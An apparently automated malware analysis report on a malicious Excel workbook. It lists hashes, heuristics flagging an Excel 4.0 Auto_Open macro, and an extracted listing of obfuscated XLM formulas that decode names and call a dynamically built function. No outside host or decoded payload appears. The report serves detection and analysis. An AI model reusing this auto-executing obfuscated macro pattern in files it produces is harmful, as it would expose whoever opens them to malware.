Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8b85aff07687ada1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:36 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: b3281ba5c355fac0a81602d9148e59f4 SHA-1: 219671f08b414f25e72fd179aef3afe3c6ae0edf SHA-256: 8b85aff07687ada1744fca5d9789a088a4a2e809e0fbcc44324b07593e212fee
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6767 bytes
SHA-256: 4f2f89900a23eb0b54a540b09f84c426d52226df8dd010d7d473f2021b9a7513
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pLrtCmyUeQ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D161 
' 0018     23 LABEL : Cell Value, String Constant - cceuWDlH len=0 
' 0018     20 LABEL : Cell Value, String Constant - ClASE len=0 
' 0018     21 LABEL : Cell Value, String Constant - DtPyzq len=0 
' 0018     20 LABEL : Cell Value, String Constant - ekwei len=0 
' 0018     24 LABEL : Cell Value, String Constant - FXdvbfyqV len=0 
' 0018     20 LABEL : Cell Value, String Constant - jrXdE len=0 
' 0018     20 LABEL : Cell Value, String Constant - LPWbS len=0 
' 0018     22 LABEL : Cell Value, String Constant - MsxqAcR len=0 
' 0018     20 LABEL : Cell Value, String Constant - NoVfR len=0 
' 0018     21 LABEL : Cell Value, String Constant - NZILdo len=0 
' 0018     26 LABEL : Cell Value, String Constant - OArnfJBcBfw len=0 
' 0018     22 LABEL : Cell Value, String Constant - oVrDmHN len=0 
' 0018     23 LABEL : Cell Value, String Constant - pnquhnEK len=0 
' 0018     23 LABEL : Cell Value, String Constant - QNdKVILg len=0 
' 0018     26 LABEL : Cell Value, String Constant - rWyWiPujrSh len=0 
' 0018     25 LABEL : Cell Value, String Constant - RxlhXzMsYF len=0 
' 0018     27 LABEL : Cell Value, String Constant - sFOBrWBItxfh len=0 
' 0018     24 LABEL : Cell Value, String Constant - SSxfNHcoB len=0 
' 0018     20 LABEL : Cell Value, String Constant - WpeTB len=0 
' 0018     23 LABEL : Cell Value, String Constant - yCCmeicr len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pLrtCmyUeQ,T65,"",-582.00000000000000000000
'  pLrtCmyUeQ,T66,"",731.00000000000000000000
'  pLrtCmyUeQ,D67,"SET.NAME("cceuWDlH",0+VALUE("0"))",""
'  pLrtCmyUeQ,T67,"",59.00000000000000000000
'  pLrtCmyUeQ,T68,"",-793.00000000000000000000
'  pLrtCmyUeQ,T69,"",690.00000000000000000000
'  pLrtCmyUeQ,D70,"SET.NAME("jrXdE",cceuWDlH)",""
'  pLrtCmyUeQ,T70,"",485.00000000000000000000
'  pLrtCmyUeQ,D72,"SET.NAME("LPWbS",cceuWDlH)",""
'  pLrtCmyUeQ,D77,"SET.NAME("MsxqAcR",COUNTA(FXdvbfyqV))",""
'  pLrtCmyUeQ,D81,"SET.NAME("DtPyzq",COUNTA(ClASE))",""
'  pLrtCmyUeQ,D86,[],""
'  pLrtCmyUeQ,D91,"SET.NAME("oVrDmHN","")",""
'  pLrtCmyUeQ,D93,"jrXdE",""
'  pLrtCmyUeQ,D95,"SET.NAME("pnquhnEK",HLOOKUP("*",FXdvbfyqV,jrXdE,FALSE))",""
'  pLrtCmyUeQ,D99,"rWyWiPujrSh",""
'  pLrtCmyUeQ,D102,"SET.NAME("NoVfR",cceuWDlH)",""
'  pLrtCmyUeQ,D104,[],""
'  pLrtCmyUeQ,D107,"NoVfR",""
'  pLrtCmyUeQ,D112,"NZILdo",""
'  pLrtCmyUeQ,D117,"WpeTB",""
'  pLrtCmyUeQ,D122,"sFOBrWBItxfh",""
'  pLrtCmyUeQ,D126,"SET.NAME("RxlhXzMsYF",VALUE(HLOOKUP("*",ClASE,sFOBrWBItxfh,FALSE)))",""
'  pLrtCmyUeQ,D131,"QNdKVILg",""
'  pLrtCmyUeQ,D133,"oVrDmHN",""
'  pLrtCmyUeQ,D136,"LPWbS",""
'  pLrtCmyUeQ,D138,NEXT(),""
'  pLrtCmyUeQ,D143,"SSxfNHcoB",""
'  pLrtCmyUeQ,D148,[],""
'  pLrtCmyUeQ,D152,"OArnfJBcBfw",""
'  pLrtCmyUeQ,D157,NEXT(),""
'  pLrtCmyUeQ,D159,RETURN(),""
'  pLrtCmyUeQ,D186,"SET.NAME("ekwei",D67)",""
'  pLrtCmyUeQ,D191,"FXdvbfyqV",""
'  pLrtCmyUeQ,D193,"SET.NAME("ClASE",R78C11)",""
'  pLrtCmyUeQ,D196,"SET.NAME("OArnfJBcBfw",207)",""
'  pLrtCmyUeQ,D201,"SET.NAME("yCCmeicr",4)",""
'  pLrtCmyUeQ,D206,ekwei(),""
'  pLrtCmyUeQ,D207,HALT(),""